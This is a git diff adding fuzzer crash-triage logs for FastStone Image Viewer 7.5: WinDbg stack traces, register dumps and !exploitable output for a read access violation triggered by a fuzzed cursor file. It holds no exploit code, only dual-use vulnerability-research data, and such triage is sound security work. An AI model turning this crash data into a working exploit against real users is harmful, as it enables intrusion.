+005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.274267000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.11559e-010 9.50564e-035 2.005e-035 2.38009e-016 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003e6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003e6000 8f372221 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003e6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4f4ca28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..81080fc Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5fbc3ee --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1550: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1550: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1550.10dc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=01ffed2d ecx=07ee7b10 edx=00003879 esi=f9e30010 edi=07cf4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.807384400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.08304e-023 1723.74 -619.862 -1.0626e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0022a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0022a000 95d3f6f9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0022a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5fbc3ee --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1550: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1550: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 